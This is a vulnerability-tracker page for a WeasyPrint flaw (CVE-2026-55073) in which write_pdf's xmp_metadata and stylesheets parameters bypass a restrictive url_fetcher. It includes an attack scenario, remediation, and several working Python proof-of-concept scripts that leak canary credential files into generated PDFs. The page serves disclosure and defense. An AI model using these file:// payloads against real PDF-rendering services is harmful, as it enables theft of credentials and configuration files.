Skip to main content

WeasyPrint CVE-2026-55073

| EUVDEUVD-2026-77638 MEDIUM
Server-Side Request Forgery (SSRF) (CWE-918)
2026-09-09 https://github.com/Kozea/WeasyPrint GHSA-jf6q-chmf-3h3v PYSEC-2026-3940
6.2
CVSS 3.1 · Vendor: https://github.com/Kozea/WeasyPrint
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker supplies crafted file:// path via web API
  2. Delivery
    Application forwards path to write_pdf(xmp_metadata=[attacker_path])
  3. Exploit
    WeasyPrint ignores url_fetcher, reads local file via default URLFetcher
  4. Execution
    Sensitive file bytes embedded verbatim in PDF output
  5. Impact
    Attacker downloads PDF with exfiltrated credentials or configuration data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Three conditions must be simultaneously true: (1) The application configures a restrictive url_fetcher on HTML() to block file:// or internal hosts - applications that use the default unrestricted URLFetcher are not affected (there is nothing to bypass). (2) The application passes attacker-controlled input into write_pdf(xmp_metadata=[...]) or write_pdf(stylesheets=[...]) - applications that construct these parameters entirely from server-controlled, trusted values are not affected. (3) For the xmp_metadata file-read channel specifically, the generated PDF must be returned to the attacker. The stylesheets channel applies even when the PDF is not returned, enabling blind SSRF against internal services. The rendering process's filesystem access rights determine which files are reachable via xmp_metadata. No special platform, network position, or authentication to WeasyPrint itself is required beyond meeting these three application-level conditions.

Impact

The provided CVSS 6.2 with AV:L reflects the library perspective - an attacker must influence Python-level API parameters - but substantially understates real-world risk in the primary threat model: server-side PDF APIs (invoice generators, document SaaS) where user-supplied input flows directly into xmp_metadata or stylesheets parameters over HTTP. In that context the effective attack vector is network, and exploitation requires no authentication to WeasyPrint itself. The xmp_metadata channel yields verbatim read of any file accessible to the rendering process (e.g., /etc/passwd, application credentials, private keys), with the contents delivered inside a legitimate PDF response. The stylesheets channel enables SSRF against internal services with transitive @import propagation, broadening the reachable surface. No EPSS data was provided; no KEV listing exists. The advisory PoC is detailed and immediately reproducible - no additional weaponization required. For any application fitting the three described conditions (server-side WeasyPrint, restrictive url_fetcher, user-controlled parameter values), this is a high-priority issue despite the moderate NVD score.

Exploit ScenarioDerived

An attacker submits an invoice or report PDF generation request to a web API, supplying file:///etc/app/config.json as the xmp_metadata value. The server-side WeasyPrint instance - despite having a Block fetcher configured - fetches the file using the default URLFetcher, embeds the JSON contents verbatim in the PDF output (observable in uncompressed or PDF/A variants), and returns the document to the attacker. Full working PoC is included in the GHSA advisory, requiring no external infrastructure.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 09, 2026

WeasyPrint ≤v69.0 silently bypasses application-configured url_fetcher restrictions in two write_pdf() channels, enabling arbitrary local file read and SSRF in server-side PDF rendering pipelines. The xmp_metadata parameter fetches attacker-controlled URLs using the default unrestricted URLFetcher and embeds the response bytes verbatim in the generated PDF, while the stylesheets parameter applies fetched CSS with transitive propagation through @import chains - both ignoring any restrictive fetcher set on HTML(). No public exploit is listed in KEV, but the advisory includes complete working PoC code demonstrating credential file exfiltration.

RemediationAI

Upgrade WeasyPrint to v70.0, which routes both affected call sites through the document's url_fetcher - confirmed by the release notes at https://github.com/Kozea/WeasyPrint/releases/tag/v70.0 and the GHSA advisory. The fix also disables EPS image rendering, which was an additional unsafe default. If immediate upgrade is not possible, apply the following compensating controls: (1) Never pass attacker-influenced values to xmp_metadata or stylesheets - validate and reject external or file:// paths at the application layer before they reach WeasyPrint, as this is the most reliable mitigation. (2) Run the WeasyPrint process in a sandboxed environment (seccomp profile, container with read-only filesystem mounts restricted to known-safe paths) so that even if the fetcher is bypassed, the process cannot read sensitive files - note this adds operational complexity and does not fix the SSRF channel. (3) For the stylesheets channel specifically, note that allowlisting individual CSS file paths is insufficient because the bypass is transitive through @import: a whitelisted file that imports a blocked file still bypasses the fetcher.

Affected VersionsENISA

WeasyPrint < 70.0

Affected Packages

pypi weasyprint fix: 70.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

WeasyPrint (pip: weasyprint) is a Python library rendering HTML/CSS to PDF documents. Its security model relies on the url_fetcher hook passed to HTML() as the single documented control for restricting resource loading - blocking file://, internal hosts, or SSRF targets in server-side deployments. The root cause (CWE-918, SSRF) is that select_source() in weasyprint/urls.py defaults to a fresh URLFetcher() when url_fetcher=None. Five of seven resource-loading sites correctly thread the document's fetcher; two do not: write_pdf(xmp_metadata=[...]) in weasyprint/pdf/__init__.py calls select_source(url) without url_fetcher, and write_pdf(stylesheets=[str]) in weasyprint/document.py constructs CSS() without passing url_fetcher=html.url_fetcher. Because CSS objects propagate their fetcher to @import and url() children, the bypass via stylesheets= is transitive across the entire import graph.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/Kozea/WeasyPrint) PRIMARY 6.2 MEDIUM
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
vuln.today AI 7.5 HIGH

AV:N reflects the primary threat model (server-side PDF API reachable over network); no authentication to WeasyPrint; C:H for arbitrary local file read; no integrity or availability impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE MEDIUM
Red Hat 6.2 MEDIUM

Primary rating from Vendor (https://github.com/Kozea/WeasyPrint).

CVSS VectorVendor: https://github.com/Kozea/WeasyPrint

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Summary

url_fetcher is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block file://, internal hosts, etc. when rendering untrusted input.

Two write_pdf() channels ignore the document's url_fetcher and build a fresh default URLFetcher() instead. A restrictive fetcher set on HTML() is silently bypassed for:

  • xmp_metadata=[url] - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced.
  • stylesheets=[url_or_path] - the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole @import / url() graph.

Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive url_fetcher to block file:// or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.

Affected versions

All versions through current main - v69.0, commit 2945986160dedd97a7547be03805b667964e422a.

Root cause

select_source() defaults to a fresh fetcher when none is passed (weasyprint/urls.py):

python
def select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):
    ...
    if url_fetcher is None:
        url_fetcher = URLFetcher()

Five of the seven resource-loading sites thread the document's fetcher correctly:

  • <link rel=stylesheet> in weasyprint/css/__init__.py
  • <style> in weasyprint/css/__init__.py
  • @import in weasyprint/css/__init__.py
  • @font-face / local() in weasyprint/text/fonts.py
  • @color-profile src in weasyprint/css/__init__.py
  • images (<img>, CSS url(), SVG) in weasyprint/images.py

Two do not - they build a fresh default fetcher instead:

  • write_pdf(xmp_metadata=[...]) in weasyprint/pdf/__init__.py
  • write_pdf(stylesheets=[str]) in weasyprint/document.py

xmp_metadata - pdf/__init__.py calls select_source(url) with no url_fetcher, so the default fetcher runs regardless of what the caller configured:

python
if options['xmp_metadata']:
    for url in options['xmp_metadata']:
        result = select_source(url)
# no url_fetcher

stylesheets - document.py builds each sheet without passing url_fetcher, and CSS.__init__ then defaults to a fresh URLFetcher():

python
for css in options['stylesheets'] or []:
    if not hasattr(css, 'matcher'):
        css = CSS(
# no url_fetcher=html.url_fetcher
            guess=css, media_type=html.media_type,
            font_config=font_config, counter_style=counter_style,
            color_profiles=color_profiles)

Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.

Reproduction

Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.

1 - xmp_metadata= reads a file:// the fetcher blocks

python
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secret.xmp')
open(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c')
pdf = HTML(string='<p>hi</p>', url_fetcher=Block()).write_pdf(
    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf)
# -> True

(pdf_variant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)

2 - stylesheets= applies a blocked file:// sheet (with control)

python
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'evil.css')
open(path, 'w').write('@page { size: 1234px 5678px }')

doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + path])
p = doc.pages[0]
print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))
# -> True
# Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it;
# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the
# gap is specific to stylesheets= and not a misconfigured fetcher.
ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path,
            url_fetcher=Block()).render()
cp = ctrl.pages[0]
print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))
# -> True

3 - the stylesheets= bypass is transitive

python
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
inner = os.path.join(d, 'inner.css')
outer = os.path.join(d, 'outer.css')
open(inner, 'w').write('@page { size: 333px 777px }')
open(outer, 'w').write('@import url("file://%s");' % inner)
doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + outer])
p = doc.pages[0]
print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))
# -> True

4 - xmp_metadata= discloses a credentials file in full

python
import os, json, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

creds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2',
         'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'}
d = tempfile.mkdtemp()
path = os.path.join(d, 'site_config.json')
json.dump(creds, open(path, 'w'))
pdf = HTML(string='<p>x</p>', url_fetcher=Block()).write_pdf(
    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))
# -> True

An attacker who controls the xmp_metadata path reads any file the rendering process can access and receives its contents in the generated PDF.

5 - scope of the stylesheets= channel (honest bound)

The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.

python
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secrets.css')
open(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\n@page { size: 999px 888px }')
html = HTML(string='<p>x</p>', url_fetcher=Block())
doc = html.render(stylesheets=['file://' + path])
pdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True)
p = doc.pages[0]
print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888))
# -> True
print('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf)
# -> False

Suggested fix

Route both call sites through the document's url_fetcher, matching the five sites that already do this.

  • pdf/__init__.py - select_source(url, url_fetcher=self.url_fetcher). (Alternatively, restrict xmp_metadata to byte strings so no URL fetching occurs.)
  • document.py - CSS(guess=css, ..., url_fetcher=html.url_fetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.

Threat Intelligence Overview

EPSS Score
0.2%
Top 91% exploitable
Prevalence
Medium
popular Python PDF rendering library in web/SaaS applications
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

31
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +31
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy